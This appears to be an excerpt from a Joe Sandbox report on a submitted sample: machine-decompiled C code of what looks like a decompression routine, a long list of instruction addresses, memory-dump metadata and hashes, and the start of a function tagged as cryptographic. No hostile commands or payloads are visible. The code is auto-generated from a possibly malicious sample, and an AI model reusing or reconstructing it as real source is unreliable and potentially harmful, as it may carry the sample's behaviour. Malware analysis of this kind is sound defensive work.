																				__eflags = _t498 - 3;
																				if(_t498 <= 3) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 4;
																				if(_t498 <= 4) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 5;
																				if(_t498 <= 5) {
																					goto L7;
																				}
																				__eflags = _t498 - 6;
																				_t499 =  *((intOrPtr*)(_t691 + 0x10));
																				 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																				_t347 = _t654 + 4;
																				if(_t498 > 6) {
																					 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																					_t347 = _t654 + 4;
																				}
																				goto L8;
																			}
																			_t380 = _t496 >> 3;
																			__eflags = _t380;
																			 *(_t691 + 0x24) = _t380;
																			_t657 = _t380;
																			do {
																				E0025F300(_t529, _t675, 8);
																				_t530 =  *((intOrPtr*)(_t691 + 0x28));
																				_t691 = _t691 + 0xc;
																				_t529 = _t530 + 8;
																				_t675 = _t675 + 8;
																				_t496 = _t496 - 8;
																				 *(_t691 + 0x1c) = _t529;
																				_t657 = _t657 - 1;
																				__eflags = _t657;
																			} while (_t657 != 0);
																			L84:
																			_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																			goto L85;
																		}
																		__eflags = _t496 - 8;
																		if(_t496 < 8) {
																			goto L85;
																		}
																		_t628 = _t496 >> 3;
																		__eflags = _t628;
																		do {
																			_t496 = _t496 - 8;
																			 *_t529 =  *_t675;
																			 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																			 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																			 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																			 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																			 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																			 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																			_t389 =  *((intOrPtr*)(_t675 + 7));
																			_t675 = _t675 + 8;
																			 *((char*)(_t529 + 7)) = _t389;
																			_t529 = _t529 + 8;
																			_t628 = _t628 - 1;
																			__eflags = _t628;
																		} while (_t628 != 0);
																		goto L85;
																	}
																}
																_t538 = _t654 + (_t359 + 0xb3e) * 4;
																while(1) {
																	__eflags = _t622 -  *_t538;
																	if(_t622 <  *_t538) {
																		break;
																	}
																	_t359 = _t359 + 1;
																	_t538 = _t538 + 4;
																	__eflags = _t359 - 0xf;
																	if(_t359 < 0xf) {
																		continue;
																	}
																	goto L130;
																}
																_t492 = _t359;
																goto L130;
															}
															_t539 = 0x10;
															_t629 = _t622 >> _t539 - _t358;
															_t542 = ( *(_t629 + _t654 + 0x2d7c) & 0x000000ff) +  *(_t668 + 4);
															 *_t668 =  *_t668 + (_t542 >> 3);
															 *(_t668 + 4) = _t542 & 0x00000007;
															_t363 =  *(_t654 + 0x317c + _t629 * 2) & 0x0000ffff;
															goto L131;
														} else {
															goto L121;
														}
														do {
															L121:
															 *_t518 =  *(_t518 - 4);
															_t518 = _t518 - 4;
															_t620 = _t620 - 1;
															__eflags = _t620;
														} while (_t620 != 0);
														goto L122;
													}
													_t498 =  *(_t663 + 0x74);
													_t666 =  *((intOrPtr*)(_t691 + 0x14));
													__eflags = _t498;
													if(_t498 == 0) {
														L23:
														_t499 =  *((intOrPtr*)(_t691 + 0x10));
														continue;
													}
													_t397 =  *(_t663 + 0x60);
													_t630 =  *(_t663 + 0x7c);
													_t677 = _t630 - _t397;
													 *(_t691 + 0x1c) = _t397;
													_t399 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													__eflags = _t677 - _t399;
													if(_t677 >= _t399) {
														L116:
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L7;
														}
														_t658 =  *(_t663 + 0xe6dc);
														do {
															_t659 = _t658 & _t677;
															_t677 = _t677 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t659 +  *((intOrPtr*)(_t663 + 0x4b40))));
															_t658 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t658;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													}
													__eflags = _t630 - _t399;
													if(_t630 >= _t399) {
														goto L116;
													}
													_t404 =  *((intOrPtr*)(_t663 + 0x4b40));
													_t675 = _t677 + _t404;
													_t529 = _t404 + _t630;
													 *(_t691 + 0x24) = _t529;
													 *(_t663 + 0x7c) = _t630 + _t498;
													__eflags =  *(_t691 + 0x1c) - _t498;
													if( *(_t691 + 0x1c) >= _t498) {
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t407 = _t498 >> 3;
														__eflags = _t407;
														_t660 = _t407;
														do {
															E0025F300(_t529, _t675, 8);
															_t545 =  *((intOrPtr*)(_t691 + 0x30));
															_t691 = _t691 + 0xc;
															_t529 = _t545 + 8;
															_t675 = _t675 + 8;
															_t498 = _t498 - 8;
															 *(_t691 + 0x24) = _t529;
															_t660 = _t660 - 1;
															__eflags = _t660;
														} while (_t660 != 0);
														goto L84;
													}
													__eflags = _t498 - 8;
													if(_t498 < 8) {
														goto L85;
													}
													_t633 = _t498 >> 3;
													__eflags = _t633;
													do {
														_t498 = _t498 - 8;
														 *_t529 =  *_t675;
														 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
														 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
														 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
														 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
														 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
														 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
														_t416 =  *((intOrPtr*)(_t675 + 7));
														_t675 = _t675 + 8;
														 *((char*)(_t529 + 7)) = _t416;
														_t529 = _t529 + 8;
														_t633 = _t633 - 1;
														__eflags = _t633;
													} while (_t633 != 0);
													goto L85;
												}
												_push(_t691 + 0x28);
												_t417 = E002538C2(_t663, _t347);
												__eflags = _t417;
												if(_t417 == 0) {
													goto L100;
												}
												_t420 = E00251D92(_t663, _t691 + 0x28);
												__eflags = _t420;
												if(_t420 != 0) {
													goto L33;
												}
												goto L100;
											}
											_t501 = _t619 - 0x106;
											__eflags = _t501 - 8;
											if(_t501 >= 8) {
												_t680 = (_t501 >> 2) - 1;
												_t501 = (_t501 & 0x00000003 | 0x00000004) << _t680;
												__eflags = _t501;
											} else {
												_t680 = 0;
											}
											_t498 = _t501 + 2;
											__eflags = _t680;
											if(_t680 == 0) {
												_t681 = _t654 + 4;
											} else {
												_t472 = E0024A740(_t347);
												_t600 = 0x10;
												_t498 = _t498 + (_t472 >> _t600 - _t680);
												_t603 =  *(_t654 + 8) + _t680;
												_t681 = _t654 + 4;
												 *_t681 =  *_t681 + (_t603 >> 3);
												 *(_t681 + 4) = _t603 & 0x00000007;
											}
											_t421 = E0024A740(_t681);
											_t422 =  *(_t654 + 0xfa0);
											_t635 = _t421 & 0x0000fffe;
											__eflags = _t635 -  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4));
											if(_t635 >=  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4))) {
												_t682 = 0xf;
												_t423 = _t422 + 1;
												__eflags = _t423 - _t682;
												if(_t423 >= _t682) {
													L49:
													_t552 =  *(_t654 + 8) + _t682;
													 *(_t654 + 8) = _t552 & 0x00000007;
													_t425 = _t552 >> 3;
													 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + _t425;
													_t554 = 0x10;
													_t557 =  *((intOrPtr*)(_t654 + 0xf60 + _t682 * 4)) + (_t635 -  *((intOrPtr*)(_t654 + 0xf1c + _t682 * 4)) >> _t554 - _t682);
													__eflags = _t557 -  *((intOrPtr*)(_t654 + 0xf1c));
													asm("sbb eax, eax");
													_t426 = _t425 & _t557;
													__eflags = _t426;
													_t427 =  *(_t654 + 0x1ba4 + _t426 * 2) & 0x0000ffff;
													goto L50;
												}
												_t593 = _t654 + (_t423 + 0x3c8) * 4;
												while(1) {
													__eflags = _t635 -  *_t593;
													if(_t635 <  *_t593) {
														break;
													}
													_t423 = _t423 + 1;
													_t593 = _t593 + 4;
													__eflags = _t423 - 0xf;
													if(_t423 < 0xf) {
														continue;
													}
													goto L49;
												}
												_t682 = _t423;
												goto L49;
											} else {
												_t594 = 0x10;
												_t652 = _t635 >> _t594 - _t422;
												_t597 = ( *(_t652 + _t654 + 0xfa4) & 0x000000ff) +  *(_t681 + 4);
												 *_t681 =  *_t681 + (_t597 >> 3);
												 *(_t681 + 4) = _t597 & 0x00000007;
												_t427 =  *(_t654 + 0x13a4 + _t652 * 2) & 0x0000ffff;
												L50:
												_t638 = _t427 & 0x0000ffff;
												__eflags = _t638 - 4;
												if(_t638 >= 4) {
													_t430 = (_t638 >> 1) - 1;
													_t638 = (_t638 & 0x00000001 | 0x00000002) << _t430;
													__eflags = _t638;
												} else {
													_t430 = 0;
												}
												 *(_t691 + 0x18) = _t430;
												_t559 = _t638 + 1;
												 *(_t691 + 0x24) = _t559;
												_t683 = _t559;
												 *(_t691 + 0x1c) = _t683;
												__eflags = _t430;
												if(_t430 == 0) {
													L70:
													__eflags = _t683 - 0x100;
													if(_t683 > 0x100) {
														_t498 = _t498 + 1;
														__eflags = _t683 - 0x2000;
														if(_t683 > 0x2000) {
															_t498 = _t498 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 > 0x40000) {
																_t498 = _t498 + 1;
																__eflags = _t498;
															}
														}
													}
													 *(_t663 + 0x6c) =  *(_t663 + 0x68);
													 *(_t663 + 0x68) =  *(_t663 + 0x64);
													 *(_t663 + 0x64) =  *(_t663 + 0x60);
													 *(_t663 + 0x60) = _t683;
													_t641 =  *(_t663 + 0x7c);
													_t561 = _t641 - _t683;
													_t435 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													 *(_t663 + 0x74) = _t498;
													 *(_t691 + 0x24) = _t561;
													__eflags = _t561 - _t435;
													if(_t561 >= _t435) {
														L93:
														_t666 =  *((intOrPtr*)(_t691 + 0x14));
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L23;
														}
														_t684 =  *(_t663 + 0xe6dc);
														_t661 =  *(_t691 + 0x24);
														do {
															_t685 = _t684 & _t661;
															_t661 = _t661 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)( *((intOrPtr*)(_t663 + 0x4b40)) + _t685));
															_t684 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t684;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													} else {
														__eflags = _t641 - _t435;
														if(_t641 >= _t435) {
															goto L93;
														}
														_t440 =  *((intOrPtr*)(_t663 + 0x4b40));
														_t675 = _t440 + _t561;
														_t529 = _t440 + _t641;
														 *(_t691 + 0x24) = _t529;
														 *(_t663 + 0x7c) = _t641 + _t498;
														__eflags =  *(_t691 + 0x1c) - _t498;
														if( *(_t691 + 0x1c) >= _t498) {
															__eflags = _t498 - 8;
															if(_t498 < 8) {
																goto L85;
															}
															_t443 = _t498 >> 3;
															__eflags = _t443;
															 *(_t691 + 0x1c) = _t443;
															_t662 = _t443;
															do {
																E0025F300(_t529, _t675, 8);
																_t563 =  *((intOrPtr*)(_t691 + 0x30));
																_t691 = _t691 + 0xc;
																_t529 = _t563 + 8;
																_t675 = _t675 + 8;
																_t498 = _t498 - 8;
																 *(_t691 + 0x24) = _t529;
																_t662 = _t662 - 1;
																__eflags = _t662;
															} while (_t662 != 0);
															goto L84;
														}
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t644 = _t498 >> 3;
														__eflags = _t644;
														do {
															_t498 = _t498 - 8;
															 *_t529 =  *_t675;
															 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
															 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
															 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
															 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
															 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
															 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
															_t452 =  *((intOrPtr*)(_t675 + 7));
															_t675 = _t675 + 8;
															 *((char*)(_t529 + 7)) = _t452;
															_t529 = _t529 + 8;
															_t644 = _t644 - 1;
															__eflags = _t644;
														} while (_t644 != 0);
														goto L85;
													}
												} else {
													__eflags = _t430 - 4;
													if(__eflags < 0) {
														_t453 = E002580CA(_t654 + 4);
														_t565 = 0x20;
														_t568 =  *(_t654 + 8) +  *(_t691 + 0x18);
														_t683 = (_t453 >> _t565 -  *(_t691 + 0x18)) +  *(_t691 + 0x24);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t568 >> 3);
														_t569 = _t568 & 0x00000007;
														__eflags = _t569;
														 *(_t654 + 8) = _t569;
														L69:
														 *(_t691 + 0x1c) = _t683;
														goto L70;
													}
													if(__eflags <= 0) {
														_t645 = _t654 + 4;
													} else {
														_t467 = E002580CA(_t654 + 4);
														_t651 =  *(_t691 + 0x18);
														_t587 = 0x24;
														_t590 = _t651 - 4 +  *(_t654 + 8);
														_t645 = _t654 + 4;
														_t683 = (_t467 >> _t587 - _t651 << 4) +  *(_t691 + 0x24);
														 *_t645 =  *_t645 + (_t590 >> 3);
														 *(_t645 + 4) = _t590 & 0x00000007;
													}
													_t456 = E0024A740(_t645);
													_t457 =  *(_t654 + 0x1e8c);
													_t647 = _t456 & 0x0000fffe;
													__eflags = _t647 -  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4));
													if(_t647 >=  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4))) {
														_t571 = 0xf;
														_t458 = _t457 + 1;
														 *(_t691 + 0x18) = _t571;
														__eflags = _t458 - _t571;
														if(_t458 >= _t571) {
															L66:
															_t573 =  *(_t654 + 8) +  *(_t691 + 0x18);
															 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t573 >> 3);
															_t461 =  *(_t691 + 0x18);
															 *(_t654 + 8) = _t573 & 0x00000007;
															_t575 = 0x10;
															_t578 =  *((intOrPtr*)(_t654 + 0x1e4c + _t461 * 4)) + (_t647 -  *((intOrPtr*)(_t654 + 0x1e08 + _t461 * 4)) >> _t575 - _t461);
															__eflags = _t578 -  *((intOrPtr*)(_t654 + 0x1e08));
															asm("sbb eax, eax");
															_t462 = _t461 & _t578;
															__eflags = _t462;
															_t463 =  *(_t654 + 0x2a90 + _t462 * 2) & 0x0000ffff;
															goto L67;
														}
														_t580 = _t654 + (_t458 + 0x783) * 4;
														while(1) {
															__eflags = _t647 -  *_t580;
															if(_t647 <  *_t580) {
																break;
															}
															_t458 = _t458 + 1;
															_t580 = _t580 + 4;
															__eflags = _t458 - 0xf;
															if(_t458 < 0xf) {
																continue;
															}
															goto L66;
														}
														 *(_t691 + 0x18) = _t458;
														goto L66;
													} else {
														_t581 = 0x10;
														_t650 = _t647 >> _t581 - _t457;
														_t584 = ( *(_t650 + _t654 + 0x1e90) & 0x000000ff) +  *(_t654 + 8);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t584 >> 3);
														 *(_t654 + 8) = _t584 & 0x00000007;
														_t463 =  *(_t654 + 0x2290 + _t650 * 2) & 0x0000ffff;
														L67:
														_t683 = _t683 + (_t463 & 0x0000ffff);
														goto L69;
													}
												}
											}
										}
										 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) = _t619;
										_t69 = _t663 + 0x7c;
										 *_t69 =  *(_t663 + 0x7c) + 1;
										__eflags =  *_t69;
										goto L33;
									}
									_t607 = _t654 + (_t353 + 0xd) * 4;
									while(1) {
										__eflags = _t616 -  *_t607;
										if(_t616 <  *_t607) {
											break;
										}
										_t353 = _t353 + 1;
										_t607 = _t607 + 4;
										__eflags = _t353 - 0xf;
										if(_t353 < 0xf) {
											continue;
										}
										goto L30;
									}
									_t490 = _t353;
									goto L30;
								}
								_t608 = 0x10;
								_t653 = _t616 >> _t608 - _t352;
								_t611 = ( *(_t653 + _t654 + 0xb8) & 0x000000ff) +  *(_t667 + 4);
								 *_t667 =  *_t667 + (_t611 >> 3);
								_t347 = _t654 + 4;
								 *(_t347 + 4) = _t611 & 0x00000007;
								_t619 =  *(_t654 + 0x4b8 + _t653 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags = _t507 -  *(_t663 + 0x7c);
							if(_t507 ==  *(_t663 + 0x7c)) {
								goto L21;
							}
							E00254B23(_t663);
							__eflags =  *((intOrPtr*)(_t663 + 0x4c5c)) -  *((intOrPtr*)(_t663 + 0x4c4c));
							if(__eflags > 0) {
								L152:
								_t418 = 0;
								goto L101;
							}
							if(__eflags < 0) {
								goto L21;
							}
							__eflags =  *((intOrPtr*)(_t663 + 0x4c58)) -  *((intOrPtr*)(_t663 + 0x4c48));
							if( *((intOrPtr*)(_t663 + 0x4c58)) >  *((intOrPtr*)(_t663 + 0x4c48))) {
								goto L152;
							}
							goto L21;
						}
					}
				}
				 *((char*)(_t654 + 0x2c)) = 1;
				_push(_t654 + 0x30);
				_push(_t654 + 0x18);
				_push(_t654 + 4);
				if(E00253CDD(__ecx) != 0) {
					goto L3;
				}
				goto L2;
			}

0x00257034
0x00257038
0x0025703e
0x00257067
0x0025706a
0x0025706f
0x00257072
0x00257059
0x00257059
0x00000000
0x00257074
0x0025707f
0x00257082
0x00257085
0x00257089
0x0025708d
0x00257091
0x00257093
0x00257095
0x00257095
0x00257099
0x002570a6
0x002570a6
0x002570ac
0x002570af
0x002570b1
0x002570b5
0x00000000
0x00000000
0x002570b7
0x002570b7
0x002570b9
0x00257644
0x00257644
0x00257646
0x00000000
0x00257647
0x002570bf
0x002570cd
0x002570cd
0x002570cf
0x002570de
0x002570de
0x002570e4
0x00257993
0x00257993
0x00000000
0x00257993
0x00000000
0x002570e4
0x002570d1
0x002570d8
0x00000000
0x00000000
0x00000000
0x002570d8
0x002570c4
0x002570c7
0x00000000
0x00000000
0x00000000
0x002570ea
0x002570ea
0x002570f7
0x002570fc
0x00257130
0x00257130
0x00257135
0x0025713c
0x00257142
0x00257148
0x0025714c
0x00257186
0x00257187
0x00257188
0x0025718a
0x002571a3
0x002571a6
0x002571ad
0x002571b0
0x002571b3
0x002571bc
0x002571c5
0x002571c7
0x002571ca
0x002571cc
0x002571cc
0x002571ce
0x002571d6
0x002571d9
0x002571de
0x002571e0
0x002571f9
0x002571ff
0x0025761b
0x0025761d
0x00257650
0x00257656
0x00257772
0x00257772
0x0025777b
0x0025777e
0x00257780
0x00257784
0x00257793
0x00257793
0x00257796
0x0025779b
0x002577a2
0x002577a8
0x002577ae
0x002577b5
0x002577e3
0x002577e4
0x002577e5
0x002577e7
0x00257803
0x00257806
0x0025780d
0x00257810
0x00257813
0x0025781f
0x0025782b
0x0025782d
0x00257833
0x00257835
0x00257835
0x00257837
0x0025783f
0x0025783f
0x00257842
0x00257845
0x00257856
0x00257859
0x00257859
0x00257847
0x00257847
0x00257847
0x0025785b
0x0025785e
0x00257860
0x00257865
0x0025786c
0x00257874
0x00257876
0x0025787d
0x00257880
0x00257880
0x00257883
0x00257883
0x00257886
0x00257891
0x00257895
0x0025789a
0x0025789d
0x0025789f
0x00257953
0x00257953
0x00257956
0x00257958
0x00000000
0x00000000
0x0025795e
0x00257964
0x0025796a
0x0025796f
0x00257973
0x00257979
0x00257982
0x00257985
0x00257985
0x00257985
0x0025798a
0x0025798a
0x002571f1
0x002571f1
0x00000000
0x002578a5
0x002578a5
0x002578a7
0x00000000
0x00000000
0x002578ad
0x002578b3
0x002578b5
0x002578bb
0x002578bf
0x002578c2
0x002578c6
0x00257918
0x0025791b
0x0025754f
0x0025754f
0x00257552
0x00257554
0x0025709e
0x002570a2
0x002570a2
0x002570a6
0x002570a6
0x002570ac
0x002570af
0x002570b1
0x002570b5
0x00000000
0x00000000
0x00000000
0x002570b5
0x002570a6
0x0025755d
0x0025755f
0x00257562
0x00257565
0x00000000
0x00000000
0x0025756e
0x00257571
0x00257574
0x00257577
0x00000000
0x00000000
0x00257580
0x00257583
0x00257586
0x00257589
0x00000000
0x00000000
0x00257592
0x00257595
0x00257598
0x0025759b
0x00000000
0x00000000
0x002575a4
0x002575a7
0x002575aa
0x002575ad
0x00000000
0x00000000
0x002575b6
0x002575b9
0x002575bd
0x002575c0
0x002575c3
0x002575cc
0x002575cf
0x002575cf
0x00000000
0x002575c3
0x00257923
0x00257923
0x00257926
0x0025792a
0x0025792c
0x00257930
0x00257935
0x00257939
0x0025793c
0x0025793f
0x00257942
0x00257945
0x00257949
0x00257949
0x00257949
0x0025754b
0x0025754b
0x00000000
0x0025754b
0x002578c8
0x002578cb
0x00000000
0x00000000
0x002578d3
0x002578d3
0x002578d6
0x002578d9
0x002578dc
0x002578e1
0x002578e7
0x002578ed
0x002578f3
0x002578f9
0x002578ff
0x00257902
0x00257905
0x00257908
0x0025790b
0x0025790e
0x0025790e
0x0025790e
0x00000000
0x00257913
0x0025789f
0x002577ef
0x002577f2
0x002577f2
0x002577f4
0x00000000
0x00000000
0x002577f6
0x002577f7
0x002577fa
0x002577fd
0x00000000
0x00000000
0x00000000
0x002577ff
0x00257801
0x00000000
0x00257801
0x002577b9
0x002577bc
0x002577c6
0x002577ce
0x002577d4
0x002577d7
0x00000000
0x00000000
0x00000000
0x00000000
0x00257786
0x00257786
0x00257789
0x0025778b
0x0025778e
0x0025778e
0x0025778e
0x00000000
0x00257786
0x0025765c
0x0025765f
0x00257663
0x00257665
0x0025717b
0x0025717b
0x00000000
0x0025717b
0x0025766b
0x0025766e
0x00257673
0x00257675
0x0025767f
0x00257684
0x00257686
0x00257736
0x00257736
0x00257739
0x0025773b
0x00000000
0x00000000
0x00257741
0x00257747
0x0025774d
0x00257752
0x00257756
0x0025775c
0x00257765
0x00257768
0x00257768
0x00257768
0x00000000
0x0025776d
0x0025768c
0x0025768e
0x00000000
0x00000000
0x00257694
0x0025769a
0x0025769c
0x002576a2
0x002576a6
0x002576a9
0x002576ad
0x002576ff
0x00257702
0x00000000
0x00000000
0x0025770a
0x0025770a
0x0025770d
0x0025770f
0x00257713
0x00257718
0x0025771c
0x0025771f
0x00257722
0x00257725
0x00257728
0x0025772c
0x0025772c
0x0025772c
0x00000000
0x00257731
0x002576af
0x002576b2
0x00000000
0x00000000
0x002576ba
0x002576ba
0x002576bd
0x002576c0
0x002576c3
0x002576c8
0x002576ce
0x002576d4
0x002576da
0x002576e0
0x002576e6
0x002576e9
0x002576ec
0x002576ef
0x002576f2
0x002576f5
0x002576f5
0x002576f5
0x00000000
0x002576fa
0x00257623
0x00257627
0x0025762c
0x0025762e
0x00000000
0x00000000
0x00257637
0x0025763c
0x0025763e
0x00000000
0x00000000
0x00000000
0x0025763e
0x00257205
0x0025720b
0x0025720e
0x0025721f
0x00257222
0x00257222
0x00257210
0x00257210
0x00257210
0x00257224
0x00257227
0x00257229
0x00257253
0x0025722b
0x0025722d
0x00257234
0x0025723c
0x0025723e
0x00257240
0x00257248
0x0025724e
0x0025724e
0x00257258
0x0025725f
0x00257265
0x0025726b
0x00257272
0x002572a0
0x002572a1
0x002572a2
0x002572a4
0x002572c0
0x002572c3
0x002572ca
0x002572cd
0x002572d0
0x002572dc
0x002572e8
0x002572ea
0x002572f0
0x002572f2
0x002572f2
0x002572f4
0x00000000
0x002572f4
0x002572ac
0x002572af
0x002572af
0x002572b1
0x00000000
0x00000000
0x002572b3
0x002572b4
0x002572b7
0x002572ba
0x00000000
0x00000000
0x00000000
0x002572bc
0x002572be
0x00000000
0x00257274
0x00257276
0x00257279
0x00257283
0x0025728b
0x00257291
0x00257294
0x002572fc
0x002572fc
0x002572ff
0x00257302
0x00257312
0x00257315
0x00257315
0x00257304
0x00257304
0x00257304
0x00257317
0x0025731b
0x0025731e
0x00257322
0x00257324
0x00257328
0x0025732a
0x0025745b
0x0025745b
0x00257461
0x00257463
0x00257464
0x0025746a
0x0025746c
0x0025746d
0x00257473
0x00257475
0x00257475
0x00257475
0x00257473
0x0025746a
0x00257479
0x0025747f
0x00257485
0x00257488
0x0025748b
0x00257496
0x00257498
0x0025749d
0x002574a0
0x002574a4
0x002574a6
0x002575d7
0x002575d7
0x002575db
0x002575de
0x002575e0
0x00000000
0x00000000
0x002575e6
0x002575ec
0x002575f0
0x002575f6
0x002575fb
0x002575ff
0x00257605
0x0025760e
0x00257611
0x00257611
0x00257611
0x00000000
0x002574ac
0x002574ac
0x002574ae
0x00000000
0x00000000
0x002574b4
0x002574ba
0x002574bd
0x002574c3
0x002574c7
0x002574ca
0x002574ce
0x00257519
0x0025751c
0x00000000
0x00000000
0x00257520
0x00257520
0x00257523
0x00257527
0x00257529
0x0025752d
0x00257532
0x00257536
0x00257539
0x0025753c
0x0025753f
0x00257542
0x00257546
0x00257546
0x00257546
0x00000000
0x00257529
0x002574d0
0x002574d3
0x00000000
0x00000000
0x002574d7
0x002574d7
0x002574da
0x002574dd
0x002574e0
0x002574e5
0x002574eb
0x002574f1
0x002574f7
0x002574fd
0x00257503
0x00257506
0x00257509
0x0025750c
0x0025750f
0x00257512
0x00257512
0x00257512
0x00000000
0x00257517
0x00257330
0x00257330
0x00257333
0x0025742e
0x00257437
0x00257441
0x00257445
0x0025744e
0x00257451
0x00257451
0x00257454
0x00257457
0x00257457
0x00000000
0x00257457
0x00257339
0x0025736f
0x0025733b
0x0025733e
0x00257343
0x0025734b
0x00257353
0x00257356
0x0025735e
0x00257365
0x0025736a
0x0025736a
0x00257374
0x0025737b
0x00257381
0x00257387
0x0025738e
0x002573bc
0x002573bd
0x002573be
0x002573c2
0x002573c4
0x002573e2
0x002573e5
0x002573f1
0x002573f4
0x002573f8
0x002573fd
0x00257410
0x00257412
0x00257418
0x0025741a
0x0025741a
0x0025741c
0x00000000
0x0025741c
0x002573cc
0x002573cf
0x002573cf
0x002573d1
0x00000000
0x00000000
0x002573d3
0x002573d4
0x002573d7
0x002573da
0x00000000
0x00000000
0x00000000
0x002573dc
0x002573de
0x00000000
0x00257390
0x00257392
0x00257395
0x0025739f
0x002573a7
0x002573ad
0x002573b0
0x00257424
0x00257427
0x00000000
0x00257427
0x0025738e
0x0025732a
0x00257272
0x002571eb
0x002571ee
0x002571ee
0x002571ee
0x00000000
0x002571ee
0x0025718f
0x00257192
0x00257192
0x00257194
0x00000000
0x00000000
0x00257196
0x00257197
0x0025719a
0x0025719d
0x00000000
0x00000000
0x00000000
0x0025719f
0x002571a1
0x00000000
0x002571a1
0x00257150
0x00257153
0x0025715d
0x00257165
0x0025716b
0x0025716e
0x00257171
0x00000000
0x00257171
0x002570fe
0x00257101
0x00000000
0x00000000
0x00257105
0x00257110
0x00257116
0x0025799f
0x0025799f
0x00000000
0x0025799f
0x0025711c
0x00000000
0x00000000
0x00257124
0x0025712a
0x00000000
0x00000000
0x00000000
0x0025712a
0x002570a6
0x00257072
0x00257043
0x00257047
0x0025704b
0x0025704f
0x00257057
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5a6ee81230f9964c2b7d886b5441bde9d52927ebfacf8b9927f48809ae3912
Instruction ID: e56d81ecece5cb8664bcf4ef0dc69c2b0e5abf19e7dd57f77099a2377ca1efda
Opcode Fuzzy Hash: fd5a6ee81230f9964c2b7d886b5441bde9d52927ebfacf8b9927f48809ae3912
Instruction Fuzzy Hash: 0C6246706687469FC719CF28D8806B9FBE1BF54305F14866DEC9A87742D330E969CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0024EC54 Relevance: .7, Instructions: 694
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E0024EC54(signed int* _a4, signed int* _a8, signed int* _a12, char _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _t429;
				intOrPtr _t431;
				intOrPtr _t436;
				void* _t441;
				intOrPtr _t443;
				signed int _t446;
				void* _t448;
				signed int _t454;
				signed int _t460;
